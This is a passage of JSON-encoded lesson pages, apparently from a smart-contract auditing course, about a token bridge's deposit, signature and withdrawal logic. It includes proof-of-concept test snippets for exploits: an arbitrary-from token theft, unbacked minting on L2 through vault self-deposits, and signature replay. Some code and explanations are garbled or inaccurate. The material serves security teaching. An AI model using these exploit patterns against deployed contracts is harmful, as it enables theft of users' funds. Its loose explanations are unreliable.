and OpenZeppelin\n\nECDSA and related technologies help sign and validate data. OpenZeppelin is a comprehensive utility library that provides a plethora of functions to cater to these needs. The given transcript discusses two Ethereum functions written in assembly.\n\n> \"These are all basically ways to help sign and validate data. And this is important for us for reasons you'll see in a bit.\"\n\nFollowing this, we have the ECDSA library, sourced from OpenZeppelin, which focuses on elliptical curve digital signature algorithm operations.\n\n## ECDSA Implementation: Try Recover Function\n\nAs we progress further into the script, we encounter another core utility `Try Recover`. This function extracts the signature constituents `R`, `S` and `V`— the value components of the signature all housed in a signature with length 65. An understanding of how `Try Recover` operates is significant in achieving signatures and verifications.\n\n![](https://cdn.videotap.com/Groo7EeK5U7DGEFAK2UT-131.57.png)\n\nThe `Try Recover` function retrieves the address responsible for signing a hashed message with a signature or an error, should that arise.\n\n## L One Vault & Signatory Examples\n\nFollowing this, we introduce L One Vault. As part of subsequent steps, we will take you through some signing examples and elaborate on the ins-and-outs of signing.\n\nIf you're not too familiar with signing or cryptography, I recommend `ChatGPT`.\n\n## Deep Diving into the L One Boss Bridge\n\nThe `L1BossBridge` contract uses several features, including Safe ERC20, to process ERC20 tokens smoothly. A feature of this contract is that it deals with only a single token— `L1Token.sol`.\n\n![](https://cdn.videotap.com/IbRV6yoOBBUIBRWA1Ic2-191.37.png)\n\nThe contract also incorporates a deposit limit mechanism that restricts the number of tokens one can deposit. It operates on principles which allow one bridge per token and one vault per token.\n\n```javascript\n// Immutable vault and token declaration\nIERC20 public immutable token;\nL1Vault public immutable vault;\n```\n\n![](https://cdn.videotap.com/0eRk64LOa0VdtxK4nKoF-227.25.png)\n\nTo facilitate token movement from L1 to L2, certain user accounts are distinguished as signers. The contract also incorporates event triggers and error handling mechanisms to manage prospective situations effectively.\n\n## Contract Approval and Miscellaneous Functions\n\nAnother key feature to note here is the `vault.approveTo` function where the `L1BossBridge` provides max withdrawal power and approves ERC20s inside the vault.\n\n```javascript\n// Vault Approval to handle withdrawals\nvault.approveTo(address(this), type(uint256).max);\n```\n\nIn addition to these, there are more, straightforward functions like `pause` and `unpause` that can halt and resume contract processes.\n\nFinally, the functionality to set signers is available to the owner only. There is also a provision for disabling an account, prompting necessary questions about handling situations where an account is disabled mid-process.\n\n## Conclusion\n\nThrough this exploration, we see the ECDSA utility library's vast potential, specifically OpenZeppelin's library. Not only does it allow for more effective and streamlined worksheet functions within the Ethereum environment, but it also provides a window into secure transactions in the blockchain world.\n\nRemember, just as the speaker in the transcript alluded, there might be bugs related to signatures, so consider delving into these libraries and try deconstructing them yourself to foster your understanding of how they work.\n", + "updates": [] + }, + { + "id": "bd0cfce8-5121-4244-8dfa-a76a04d30a38", + "number": 18, + "title": "depositTokenToL2", + "slug": "deposit-token", + "folderName": "18-deposit-token", + "description": "", + "duration": 2, + "videoUrl": "C4KzcFYc0as", + "rawMarkdownUrl": "/routes/security/7-bridges/18-deposit-token/+page.md", + "markdownContent": "---\ntitle: depositTokenToL2\n---\n\n\n\n---\n\n# Understanding the depositTokenToL2 function\n\nIn this blog post, we delve into an essential part of blockchain contract management, especially in relation to the Layer 2 (L2) scaling solutions. One exciting function that facilitates these activities is the `depositTokenToL2` function. It operates in a decentralized environment, orchestrating transactions by locking tokens in the vault and triggering relevant events.\n\n![](https://cdn.videotap.com/pfxr2xqJnxlfGXz1ojht-5.66.png)\n\nThis entry aims at delivering a detailed commentary on how this function works, how to utilize it, and why it is an integral cog in dApp operations.\n\n## An Overview of `depositTokenToL2` Function\n\nThis function is a fundamental aspect of L2 operation. When you call `depositTokenToL2`, there are nodes in waiting to listen and process it, subsequently unlocking the tokens on the L2. This unlocking initiates the minting process on the L2, which is an essential part of the centralized process of the blockchain operation facilitated by this function.\n\nIn simpler terms, it's like we have built a lock (a vault) and unlocked it with a specially designed key (the L2 minting process).\n\nIt's essential to note the three parameters of this function:\n\n1. `from`– the address of the user depositing the tokens\n2. `L2 recipient` – the address of the user receiving the tokens on the L2\n3. `amount` – the value of tokens to deposit.\n\nSpecifically, the function accepts these parameters when the system is not paused, adhering to the condition that the sum of `balance(address(vault))` and `amount` must not exceed the deposit limit.\n\n> This function has a limit of 100,000 tokens. This means you can only have a maximum of 100,000 tokens on the Layer 2 network at any given time.\n\nThe function attains token safety through a transfer to the vault's address, scaling the stipulated amount per the deposit limit.\n\n![](https://cdn.videotap.com/VZtxKixeFPCh2aosAGVO-59.4.png)\n\n## The Importance of Emitted Events\n\nThis function's operation is not complete without an integral event emission: the deposit and unlock events.\n\nThese events, if configured correctly, send vital signals to an off-chain service; hence careful attention must be paid to them when coding or interpreting what this function does.\n\nThe events essentially carry these parameters: `from`, `to`, and `amount`. An off-chain service awaits and listens for these events to facilitate the unlocking of tokens on the L2.\n\nWhile this might seem a tad complex, it can be visualized as a messaging system. The function sends messages (events) that inform the system of where it is time to unlock the tokens on L2.\n\n```js\n// Example of the function parameters in solidity\nfunction depositTokenToL2 (address from, address L2Recipient, uint256 amount) external {/* function body*/}\n```\n\n## Wrapping Up\n\nThe `depositTokenToL2` function, with its event emissions and token transfers, is a crucial part of the blockchain's L2 operations. Understanding the principles of such a function can aid anyone on their journey to mastering blockchain contracts and their integration with L2 solutions.\n\nGet familiar with this type of process and continue your exploration in the vast yet thrilling world of blockchain technology.\n", + "updates": [] + }, + { + "id": "730a802e-91db-47c4-b9c1-7abdc6fd7e0e", + "number": 19, + "title": "Exploit: Arbitrary From", + "slug": "arbitrary", + "folderName": "19-arbitrary", + "description": "", + "duration": 5, + "videoUrl": "4CMH67_iy0A", + "rawMarkdownUrl": "/routes/security/7-bridges/19-arbitrary/+page.md", + "markdownContent": "---\ntitle: Exploit - Arbitrary \"from\" allows users to steal tokens\n---\n\n\n\n---\n\n# Nail-biting Moments with Slither: Uncovering Critical ERC20 Vulnerabilities\n\nHey You! Welcome back! In this post, we'll dig into the enlightening world of Slither, our good friend from [Trail of Bits](https://trailofbits.com/). It is well-equipped to unearth potential code vulnerabilities, and guess what, we've stumbled upon a dicey one! Exciting, right? Buckle up, let's dive in.\n\n## The Problem Unveil\n\nSo, revisiting where we left off, we managed to arrive at a critical point at our function with the help of Slither. Quite the Sherlock, isn't it? Well, let me just relay the discovered issue. We discovered the issue with the 'bossbridge deposit tokens to l2' which utilizes 'arbitrary from in transfer from'. Sounds gibberish, right? Let's decode it.\n\nThe issue pops up when a detection is made that \"message sender\" is not used in 'from in transfer from'. Don't worry, I will walk you through an exploit scenario for clarity (You wouldn't feel good if we don't decode it, and you know it!).\n\n## The Exploit Scenario\n\nConsider our characters, Alice and Bob. Alice approves her ERC20 tokens to be spent by the contract. Enter a malicious entity, Bob, who utilizes this opportunity to call on the contract and set Alice's address as the '`from`' parameter in 'transfer from'.\n\nCan you guess what happens next?\n\n> 'Bob takes off with Alice's hard-earned tokens owing to the contract permission established by Alice.'\n\nPretty severe, isn't it? This just started becoming more interesting than an Agatha Christie novel!\n\n## The Vulnerability In-Depth\n\nLet's try to visualize this scenario. We have Alice, setting off to perform a transaction after calling '`approve of token to bridge`.' Bob, the opportunist, notices this and decides to make his move. He calls '`depositTokensToL2`', all the while using Alice's address for the '`L2`' recipient, which would now be Bob himself. He sets the amount as all her money (sounds like pure evil!). Alice, unsuspecting, has approved this contract, thus allowing Bob's call to pass.\n\nThis would enable the transfer of all Alice's money to Bob on layer two. A chilling scenario to envision!\n\n## Slither - The Hero Unseen\n\nIf it wasn't for Slither grabbing hold of this at audit, the consequent results would be devastating. Figuring out the severity and impact, it's evidently high - Alice would be losing all her tokens to Bob. Depicting the likelihood reveals another elevated risk - this event can transpire anytime Alice calls 'approve'. Consequently, things are looking upwards of 'super high'. While some may tag this as 'crit', we can unanimously agree on labeling it as a 'high audit' critical issue.\n\n_A critical excerpt from Slither's find - \"If a user approves the bridge, any other user can steal their funds\"._ Quite hair-raising, isn't it? It's an unintended consequence stemming from trust in contracts — certainly not a scenario we envision.\n\n## Crafting a Proof of Code\n\nAfter such a thrilling ride, let's take a moment to breathe and give a thought to envisaging the proof of code for our discovery.\n\nStick around for the next part where we dive deep into writing a foolproof, high-safety code, ensuring vulnerabilities like this are effectively mitigated.\n\nWith this, we’re signing off for now, continue staying curious and happy coding!\\\\\n", + "updates": [] + }, + { + "id": "96c18ccd-ac6e-466d-96de-d03f565fcd68", + "number": 20, + "title": "Arbitrary From: Poc", + "slug": "arbitrary-poc", + "folderName": "20-arbitrary-poc", + "description": "", + "duration": 4, + "videoUrl": "5qlwig6BP_c", + "rawMarkdownUrl": "/routes/security/7-bridges/20-arbitrary-poc/+page.md", + "markdownContent": "---\ntitle: Arbitrary POC\n---\n\n\n\n---\n\n# Testing Token Movement In Solidity\n\nIn this blog post, we will delve into a test suite in Solidity, focusing on testing the movement of approved tokens from one user to another. By simulating a situation where a malicious actor can swoop in and steal tokens, we will unearth potential vulnerabilities and show how to spot a high-severity bug with a tool like Slither.\n\n## Writing A Test Suite Function\n\nLet us begin by scrolling down to our current test harness. Our primary objective is to pen a new test suite function; we will adopt the name `testCanMoveApprovedTokensOfOtherUsers` for this function. Our mission is to verify an occurrence – the actual transfer or move of tokens from one user to another.\n\nTo achieve this, we will repurpose some sections of our existing test suite.\n\n![](https://cdn.videotap.com/kSIFNqF1jGk1jsDF3enL-24.57.png)\n\nWithin our current test suite, we have entities such as `user`, `deployer`, `operator`, `token`, `tokenBridge`, and `vault`. We also have a user account named Alice, tagged in this context as 'poor Alice'.\n\n## Approving Tokens For Transfer\n\nFirst, Alice has to approve the `tokenBridge` to move her tokens to Layer 2. She will just use the L1 Token object (described in code as `L1Token`) and call the `approve` method, passing in the `tokenBridge’s` address as well as the maximum token number, expressed as `uint256.max`.\n\n```js\nVM.prank(Alice);\nL1Token.approve(addressTokenBridge, uint256.max);\n```\n\n![](https://cdn.videotap.com/u94ZnNK43eS6i6Y9HY71-58.98.png)\n\n## Defining A Malicious Actor\n\nAfter Alice has approved the Token Bridge to lawfully move her tokens, we introduce 'Bob', who maliciously swoops in to steal and deposit all of Alice's tokens on Layer 2. To do this, we first need to obtain the token balance of Alice.\n\n```js\nuint256 depositAmount = Token.balanceOf(userAlice);\n```\n\nWe now need to create an address for our mischief-maker, Bob. Assuming Bob's address as `attackerAddress`, we start a prank with this address and make Bob execute a `depositTokensToL2` call.\n\n```js\naddress attackerAddress = make.addr(attacker);\nvm.startPrank(attackerAddress);\n```\n\nNow, Bob can steal Alice's tokens by depositing them into his own account on Layer 2.\n\n```js\nTokenBridge.depositTokensToL2(userAlice, attackerAddress, depositAmount);\n```\n\n## Ensuring Data Integrity With Emit\n\nIn this scenario, we need to emit an event since the tokens are being locked into the `vault`. Emitting the correct details in this event serves an important role as the off-chain service, which listens to these events, triggers the unlocking on Layer 2.\n\n```js\nvm.expectEmit(\n addressTokenBridge,\n emitDeposit(userAlice, attackerAddress, depositAmount)\n);\n```\n\n## Asserting The State\n\nNow, we make assertions to verify that the token balance of Alice is zero and the token vault's balance equals the `depositAmount`.\n\n```js\nassertEqual(Token.balanceOf(userAlice), 0);\nassertEqual(Token.balanceOf(addressVault), depositAmount);\n```\n\nOnce the verification process is complete, we stop the prank.\n\n```js\nvm.stopPrank();\n```\n\n## Verifying The Test Case\n\nOn running the test suit, we observe that the test case succeeds, indicating that there's a high-severity bug - easy pickings for a malicious actor.\n\nThis explorative approach reveals how even advanced code bases can fall prey to serious issues, and tools like Slither prove indispensable in identifying them. So, let's continue analyzing with Slither and see what other 'goodies' we can find!\n\n> \"Even in some of these more advanced code bases, tools like Slither can find really good issues. So thank you, Slither. Let's keep walking down, Slither. Let's see what other goodies are in here. This turned out to be a high.\"\n", + "updates": [] + }, + { + "id": "20c4bf89-7c19-49f0-a902-420d06188892", + "number": 21, + "title": "Recon Continued (again)", + "slug": "recon-continued-again", + "folderName": "21-recon-continued-again", + "description": "", + "duration": 5, + "videoUrl": "XFoSx067MbI", + "rawMarkdownUrl": "/routes/security/7-bridges/21-recon-continued-again/+page.md", + "markdownContent": "---\ntitle: Recon Continued Again\n---\n\n\n\n---\n\n# Auditing For Ethereum Vulnerabilities: A Deep Dive\n\nEver felt like unraveling the intricacies of handling vulnerabilities in Ethereum applications? You're at the right place. Let's go ahead and walk you through the eccentric realm of vulnerability handling using the Slither code analysis tool.\n\nBefore proceeding, bear in mind that this journey does not aim to demoralize the workings of Ethereum applications, but to encourage developers to safeguard and optimize them further.\n\n## Unchecked Return Value: Be diligent or Perilous?\n\nMoving along, our next houseguest is the 'approve' function. This method seems to be ignoring its return value. This irregularity, if unchecked, could lead to catastrophic consequences.\n\nOn investigating, Slither reports that while calling the SafeMath `add` method, we aren't storing the resultant sum, rendering the operation meaningless.\n\nWhile this isn't an issue all the time, for a more secure and tight-knit application, we should validate the return values just to make our code robust.\n\nHowever, going by the information at our disposal, it's not a huge dealbreaker. Next time, Slither, next time.\n\n## Zero Check Madness\n\nSlither is back at it again, pointing out the absence of 'zero check'. Fortunately, we had the foresight to check out the README, which states this clearly: they've deliberately omitted 'zero checks' for input validation to preserve some gas. Nice try Slither, but we're covered.\n\n## Navigating The Detectors: Reading Between The Lines\n\nHere's a fun part: handling reentrancy. This essentially implies an external call not followed by a computation, rather it makes an immediate deposit. Let's take a closer look.\n\nWe found that the L1 BossBridge deposit function does decide to deposit tokens without performing a computation, ergo, no effect. With our code set to accept only our L1 token, one without any attached callback functionality, this poses no significant security threat.\n\nDespite this, we nonetheless note it as being preferable to follow CEI (Check-Effects-Interactions).\n\n## The Unerring Eye Of Slither: Red Flags Galore\n\nSlither, understandably, doesn't like assembly instructions and different versions of Solidity being used. All these are valid concerns and necessitate modifications of their own.\n\nThe 'deposit limit' being mutable is a red flag and it should generally be set as a constant.\n\n```js\n//@Audit Info: Deposit Limit Should Be Constant\n```\n\nThis is one of the real and impactful bugs pointed out by our trusty friend, Slither. While it has led us on a merry chase with some informational stuff and a myriad of future functions, it did deliver in the end, which makes for a fantastic learning experience!\n\n## The Future: A Call To Invariance Testing\n\nTake a step back, and soak in everything that's happened. Before we ride off into the sunset, we'd like to urge you to take the future of protecting codebases very seriously, and commit yourself to write stateful fuzzing and invariance test suites.\n\n\"Pause the video right now, try to write down some invariants. Understand what are the invariants, and then write your own fuzzing test suite.\"\n\nSlither and bossbridge have given us some food for thought and armed us with tools to go fearlessly into the world of Ethereum applications. However, always remember: there's always room to explore, learn, and improve.\n\nHappy coding, my friends! Remember, the codebase is not a minefield if you know where the mines are!\n", + "updates": [] + }, + { + "id": "491bf2d2-a33f-42fa-b32b-0e20457c4d4a", + "number": 22, + "title": "Vault", + "slug": "vault", + "folderName": "22-vault", + "description": "", + "duration": 4, + "videoUrl": "XoIZNk_QUA8", + "rawMarkdownUrl": "/routes/security/7-bridges/22-vault/+page.md", + "markdownContent": "---\ntitle: Exploit - Vault can infinite mint unbacked tokens\n---\n\n\n\n---\n\n# A Deeper Dive into the MEV Attack and Uncovering a Major Security Flaw\n\nExciting revelations generally come with a bit of craziness, and today, we bring to you one such incident—an astonishing vulnerability. At first glance, it appears captivatingly cool, yet incredibly daunting. We reveal a flaw that allows any user to steal funds after the bridge receives approval from someone. This scenario might lead to MEV (Miner Extractable Value) attacks. Intriguing, right? Let's unravel this mystery together.\n\n## Uncovering a Significant Security Threat\n\n![](https://cdn.videotap.com/yngYAVIajAxqq6gSChMU-18.png)\n\nThe perplexing part is when the vault, intending to authenticate the bridge, essentially leads to a chain of apprehensive questions. What happens if the safe haven we call the vault approves the bridge? Does that mean a user can filch funds from the vault? Did we just expose ourselves to another audit? Or is this a 'high'?\n\nWe can't let this issue slide. So, let's explore this further.\n\n## What does Vault's Approval to a Bridge Mean?\n\n```javascript\nfunction testCanTransferFromVaultToVault() {...}\n```\n\nThe vault, as the entity approving the bridge, raises alarming questions. Let's consider a user initiates a transfer from the vault to the attacker. Ambiguously enough, could this process occur for any amount and for any token within the bridge? That would be a disastrous outcome!\n\nOur next step? Writing a test to verify this vulnerability.\n\n## Is There a Limit to Money Minting?\n\n![](https://cdn.videotap.com/bnfWcdfv7XuRYwEfv14a-84.png)\n\nWith our test, we are aiming to transfer from the vault back to itself. When we assert ourselves to be the recipient, the tokenized assets stay within the vault—this causes an emission of a deposit event from the vault to the recipient on the L2 layer.\n\nHere's where things become startlingly interesting. If the tokens stay within the vault infinitely, could we mint unlimitedly on the L2 layer? Let's try this out.\n\n## Code Implementation\n\nIn the next set of developments, we need to create an attacker.\n\n```javascript\nuint256 vaultBalance = 500 ether;\nminter.mint(address(token), address(vault), vaultBalance);\n```\n\nLet's assume, for simplification, that our vault already holds some currency. In this example, we let it hold 500 ether. To effectively simulate this situation, we can use Foundry's cheat code which gifts our vault with 500 ethers of a particular token.\n\nFollowing this, we need to direct the trigger towards the deposit event function. This function executes when there's self-transference of tokens to the vault.\n\n```javascript\nemit deposit(address(token), address(vault), address(attacker), vaultBalance);\n```\n\nUnderstandably, it sounds a bit nonsensical. Why are we sending it back to ourselves? However, the objective here is to transfer it to the attacker.\n\n```javascript\ntokenbridge.depositToL2(\n address(token),\n address(vault),\n address(attacker),\n vaultBalance\n);\n```\n\nNow comes the shocker moment! We can ostensibly perform this operation indefinitely because we're continually sending back the tokens to the vault. Do we just stumble upon a way to mint infinite tokens on the L2 layer? Let's validate this.\n\n...\n\nYikes! We indeed did. We've indeed discovered a loophole that allows users to mint tokens on the L2 layer, theoretically, without limitation, irrespective of whether they could withdraw these tokens or not.\n\nThe realization of this potential for creating an unlimited number of tokens flags a significant issue. It's undeniably a vulnerability of high severity. We won't get into a thorough write-up, but the proof of this code's failure is quite evident from this exploration, reminding us of the constant need to stay vigilant in the technology sector.\n", + "updates": [] + }, + { + "id": "795f5011-08d2-489f-9d32-5f0216c39885", + "number": 23, + "title": "Why are these not the same finding?", + "slug": "why-not-the-same", + "folderName": "23-why-not-the-same", + "description": "", + "duration": 2, + "videoUrl": "rlNx-R3OrB8", + "rawMarkdownUrl": "/routes/security/7-bridges/23-why-not-the-same/+page.md", + "markdownContent": "---\ntitle: OracleUpgradeable.sol (Continued)\n---\n\n\n\n---\n\n# Unraveling the Conundrum: Are They Two Separate Bugs, Or Just One?\n\nWhenever you're delving deep into bug relief, it often becomes a question whether to report similar issues separately or bundle them as one. Well, this blog post seeks to clarify these foggy waters, drawing on a practical example involving two similar software functions. Let's dive in, shall we?\n\n## Dissecting the Problem at Hand\n\nOur situation consists of two seemingly identical problems arising from similar functions. You might be asking, as did one of our colleagues, _why are we reporting these as two separate issues? Aren't they the same issue?_.\n\n![](https://cdn.videotap.com/6gzcQPFB2rgdRBI8JFJa-11.36.png)\n\nFair question, right? After all, it's an essential part of troubleshooting to identify the issues accurately, so we can apply correct fixes and prevent future recurrences. Let's start by understanding the root cause of these bugs to see if they are more distinct than they appear.\n\n### The Root Cause\n\n> \"In every complex problem lies an opportunity to learn.\"\n\nLook closely, and we find that the two bugs have slightly different root causes.\n\n**Bug 1:** The problem here is that after 'someone else' approves, a user can surreptitiously 'steal' their funds. This issue essentially arises from an 'arbitrary send' from another user, which isn't supposed to happen in a robust, secure system.\n\n**Bug 2:** We see that while it deals with 'stealing' as well, the issue isn't strictly similar. The problem here essentially arises from the vault always having maximal approvals. This bug, therefore, isn't solely dependent on the thieving user, but also on the software giving unwarranted permissions.\n\n![](https://cdn.videotap.com/l0gRdGu8ti9QkBOZPlHZ-36.92.png)\n\nYes, you could argue that at their core, these issues do outline a 'similar' root cause. This claim holds some merit after all since both problems involve unauthorized access and fund misappropriation. Still, the dramatic differences in the details could be seen as suggesting two separate bugs.\n\n### An Interesting Conundrum\n\nWe stand before an interesting conundrum in software debugging — whether to consider identical root causes with different details as a single bug or multiple. Personally, I find these two bugs intriguingly intricate enough to merit separate reports. Of course, as this is not a hard and fast rule, opinions may differ. There's room for a heated debate here, with Technocrat A claiming they're the same issue and Developer B insisting they're two different things.\n\n### The Result: Two Bugs or One?\n\nPutting aside the scholarly debate on debugging philosophy, in practical terms, we have two problems that necessitate separate solutions. Thus, regardless of their identical core, from our perspective, these remain two separate findings.\n\n![](https://cdn.videotap.com/PtXNrChg21iZ1dkXkyTz-53.96.png)\n\n## And We Are 'Cooking'\n\nIn our world of programming, this is called 'cooking.' We take the raw ingredients (issues) and turn them into tasty dishes (resolved problems).\n\nAre there any other issues lurking beneath the surface? Possibly. For now, though, I think we're in good shape having identified these two intriguing bugs. We've ironed out a major part of our problem-solving journey, leaving potentially two more crucial functions to dissect.\n\nSo what's the lesson here? Bugs always aren't what they seem. And, just as crucially, sometimes they are exactly what they seem. But the beauty of it all lies in the exploration and discovery.\n\nStay tuned in to our coding adventures. Let's see what else we discover along the way. Happy 'cooking'!\n", + "updates": [] + }, + { + "id": "c5c88396-a8a2-49a8-922b-845543a3b3aa", + "number": 24, + "title": "Recon Continued Again (again)", + "slug": "recon-again-again", + "folderName": "24-recon-again-again", + "description": "", + "duration": 6, + "videoUrl": "yWaeMeT9eoc", + "rawMarkdownUrl": "/routes/security/7-bridges/24-recon-again-again/+page.md", + "markdownContent": "---\ntitle: Recon (Continued) Again\n---\n\n\n\n---\n\n# Understanding Token Withdrawal From L2 to L1 in Blockchain\n\nIn this post, we'll be deep diving into a crucial function that is responsible for the withdrawal of tokens from L2 to L1. Along the way, we will demystify some blockchain terminologies like VR and S, and explore how security mechanisms prevent replay attacks.\n\nIn this process, we are going to look into two essential parameters: VR and S, and the address of the user, and then explore the 'send to l one V, R and S' function. We will also dig a little into gasless transactions and encoding some data in various functions.\n\n## Signature: A Safety Net Against Replay Attacks\n\nThe function we will be examining requires what we refer to as \"signature\" - an essential feature to prevent sketchy replay attacks.\n\n```js\n function withdrawL2(address _l2Token,address _from,address _to,uint256 _amount,uint32 _l1Gas,bytes calldata _data) external returns (bytes memory){}\n```\n\nHere, `_from` works as the address of the user receiving tokens on L1. `_amount` determines the tokens to withdraw, and `data` emits the signature coming from the signed data. This gives us VR and S.\n\n## Embarking on The Token Withdrawal Journey\n\n![](https://cdn.videotap.com/UsY4cL26EFFcQNaxeMa5-118.72.png)\n\nNow, let's walk through the process of withdrawing tokens from L2 to L1. In the function, it's apparent that anyone can initiate a token withdrawal to L1. Let's analyze the step that happens when we call 'send to l1 V, R and S'.\n\n## Signature Verification and Gasless Transactions\n\nTokens are withdrawn from L2 to L1 upon calling 'send to l1 V, R and S.' ABI encoding (a part of signing in Ethereum) is key to our discussion here. It signs the essential message we will verify for authenticity.\n\n> \"Allowing people to call transactions by signature introduces the beneficial feature of gasless transactions, called relays.\"\n\nWithdrawing tokens via signatures brings many benefits, despite it seeming a bit unusual. For instance, it enables gasless transactions, which can help users save on network gas fees.\n\n## Unravelling the sendToL1 'V, R and S' and ECDSA Recover Function\n\nUpon calling `sendToL1`, we come across V, R and S encoded as bytes in the memory message. Let's now delve into the 'ECDSA Recover' to verify the signer.\n\n```js\nfunction recover(bytes32 hash, bytes memory signature)\n```\n\nInvoking 'recover' in the `sendToL1` function gets the function `Try Recover`, which eventually reaches out to the ECDSA recover at the lower part.\n\nIt's quite confusing, but stay with me!\n\nBehind the scene, the private key and the signed message combine to become the input parameters constituting V, R and S. The chain is verifying the message off-chain.\n\n![](https://cdn.videotap.com/VndGsyKD2Q9sT0kYNAIq-217.66.png)\n\nThe highlighted block of code converts the signed message into a designated format. The `ecrecover` and `hashutils twoethereum` play a significant role in this. Afterward, it calls `ECDSA Recover` to verify the signer.\n\nLet the code tickle your curiosity and compel you to inspect it further. So, let's proceed!\n\n## Ensuring Only Authorized 'Signer' Can Operate\n\nThe above block of code facilitates how the V, R and S signer can withdraw tokens from L2 to L1. This flow makes sense –only an authorized signer should be able to unlock tokens on L2. Any unauthorized access will cause a total system revert.\n\nThe codes continue to decode the message after verifying the 'signer.'\n\n```js\n (address target, uint256 value, bytes memory data) = abi.decode(_message, (address, uint256, bytes));\n```\n\nThe system finally performs a low-level call, unlocking the token over here. It uses the 'signer' placed in the target call feature with the determined data. If this is not successful, it reverts again.\n\nHere ends our thorough examination of withdrawing tokens from L2 to L1. It can be complicated but don't sweat it; every blockchain pro started from somewhere! Happy coding!\n", + "updates": [] + }, + { + "id": "f751fc12-ba83-440b-89aa-c9f884a04542", + "number": 25, + "title": "Exploit: Signature Replay", + "slug": "exploit-replay", + "folderName": "25-exploit-replay", + "description": "", + "duration": 1, + "videoUrl": "RmXJ8RsU318", + "rawMarkdownUrl": "/routes/security/7-bridges/25-exploit-replay/+page.md", + "markdownContent": "---\ntitle: Exploit - Signature Replay Introduction\n---\n\n\n\n---\n\n# Deep Dive Into Blockchain Security: Unraveling possible threats.\n\nOne of the most critical aspects of blockchain technologies is the security of transactions. From initial transaction construction to the validation and final verification, every step needs to be sealed tight against possible leaks and malicious hacks.\n\n![](https://cdn.videotap.com/U6sIP6ZAYI2aZNSWp4tF-3.87.png)\n\nThere is an exciting operation happening here, particularly the part where cryptography plays an integral role in securing these transactions. Yet, can we say with utter certainty that this operation is foolproof? Let us explore this in detail.\n\n## Role of Cryptography in Blockchain Security\n\nPrimarily, a piece of cryptographic math, or simply cryptomath, is used to generate a digital signer, or simply, Signer. The very next step is to verify that this Signer in question is legitimate. Primarily, this is designed to prevent unauthorized users or hackers from tampering with the information or modifying it to their advantage.\n\nBut the crucial question is, is there a way for some other random user, possibly with malicious intent, to bypass this system and pose as the Signer?\n\nTheoretically, let’s analyze this process in detail.\n\n### Examining the Signature Placement\n\nThink about it like this:\n\nWhen the Verification Result (VR) and Signature (S) are placed on the blockchain, they form what is essentially a 'signature.' Once the signature is up on-chain, it becomes universally visible. It's comparable to a signed message that's been broadcasted across the network.\n\nAs a user, you won’t have access to the private key, but the signed message is right there, quite visible. Still, unless you misuse this, everything is as safe as it should be, correct?\n\nHere's where things start to become interesting.\n\nConsider this scenario:\n\n_What if another user decided to send the exact same signed message?_\n\nIt does sound a bit nerve-wracking, doesn’t it?\n\n```js\nif (message.signature === duplicated_message.signature) {\n console.log(\"Threat detected\");\n}\n```\n\nUpon reflection, this certain aspect reveals the possibility of a potential security breach. An unauthorized user might mimic a legitimate sender by duplicating the signature, consequently causing a remarkably serious issue.\n\n> **Blockquote**: \"He who knows only his side of the case, knows little.\" - John Stuart Mill\n\n## The Vulnerability Verdict: Is Blockchain Security Assured?\n\nSo, putting it bluntly, could this be the Achilles Heel in our otherwise 'unbreakable' blockchain security? It indeed could be! As developers and engineers passionate about blockchain technology, it's critical that we assess and address every overlooked vulnerability. In this context, considering the possibility of a duplicate signed message on-chain could point us to areas of our system that require more robust fortification.\n\nEngaging in such analytical exploration is not just about identifying problems. It's also about fostering a culture of improvement and evolution in the world of blockchain technology. With every obstacle we overcome, we not only make our systems safer; we also contribute to the overall growth and credibility of blockchain technology.\n\n![](https://cdn.videotap.com/0t4sBJFtbzZLfqeahsX4-54.13.png)\n\nIn conclusion, blockchain security depends heavily on its cryptographic standards. Even though the possibility of a breach might be low, as technology progresses and attackers become more sophisticated, possibilities might become realities. Therefore, remaining informed, prepared, and proactive is the key to staying one step ahead!\n", + "updates": [] + }, + { + "id": "2068428c-986b-408b-a3d9-afd659319258", + "number": 26, + "title": "Signature Replay: Minimizd", + "slug": "replay-minimizd", + "folderName": "26-replay-minimizd", + "description": "", + "duration": 2, + "videoUrl": "mZ-iSJA6hiI", + "rawMarkdownUrl": "/routes/security/7-bridges/26-replay-minimizd/+page.md", + "markdownContent": "---\ntitle: Exploit - Signature Replay Minimized\n---\n\n\n\n---\n\n# Understanding Signature Replay Attacks: A Critical Look at Contemporary Blockchain Exploits\n\nLet's delve headfirst into one of the most recurrent threats on the blockchain- signature replay attacks. These attacks are unpleasantly commonplace and understanding them thoroughly is paramount in creating a secure, decentralized network. Now, signature replay attacks might sound menacingly complicated at first thought, but trust me, as we go through the concepts and how it actually happens, it will become significantly less intimidating!\n\nIn my quest to provide a hands-on understanding of these signature replay attacks, I have created a fantastic open-source repo, `sc-exploits-minimized`, that will allow you to fiddle with blockchain signatures and remix them as you'd like. It's a great playground to get those hands dirty, but for the sake of understanding, I find it easier to pull up the **SC Exploits Minimized Test Case Unit**, specifically `signatureReplaytest.sol` file, and witness how signature replay attacks unfold in reality.\n\n## The Anatomy of Signature Replay Attacks\n\nHere's a breakdown of how the signature replay attack operates in this particular test case. The process involves a victim and an attacker, each playing their parts in a scenario that very much reflects the real-world possibility of such attacks.\n\nHere's an overview of the function: `testSignatureReplay`.\n\n- Firstly, a victim deposits some funds into the protocol. It's like putting your money in a virtual safe.\n- Once deposited, they engage in all sorts of encoding activities.\n- The victim then signs the digest or the formatted message to get the V, R and S values- These are generated as part of the ECDSA (Elliptic Curve Digital Signature Algorithm) sign message function.\n- After signing the digest, they proceed to call `WithdrawBySIG` to withdraw the required amount.\n\nThis process, even though seems harmless, opens up a large vulnerability for potential attackers to exploit.\n\n```js\nfunction testSignatureReplay() public {\n /* victim deposits into the protocol */\n ...\n /* encoding and digest signing to get V, R and S */\n ...\n /* victim calls 'WithdrawbySIG' */\n ...\n }\n```\n\n![](https://cdn.videotap.com/FIMkVw05x2zEDqU0YEm8-42.24.png)\n\n## Unpacking The Flaw\n\nSo where does it go wrong? Well, it's the post-withdrawal phase that introduces the opportunity for an attacker to wreak havoc. This is how it goes:\n\n- Upon seeing the V, R and S on-chain, the attacker realizes that there's nothing preventing it from being reused. In essentially, having this crucial V, R and S information plastered on the chain without protections is just begging an attacker to play around with it.\n- The attacker then proceeds to continuously call `WithdrawbySIG` until all the money is missing, effectively draining the victim's funds.\n\nKeep in mind that in this example, the attacker does not steal any money. Their primary goal is to kick the victim out of the protocol permanently, rendering any further transactions or involvement in the system impossible for the victim.\n\nIt’s essential to note that the lack of mechanism in place to prevent the V, R and S from being reused is the critical flaw in this script.\n\n> **_\"To tackle signature replay attacks effectively, you need to understand that the crux of the problem is the reuse of VR and S with no protective 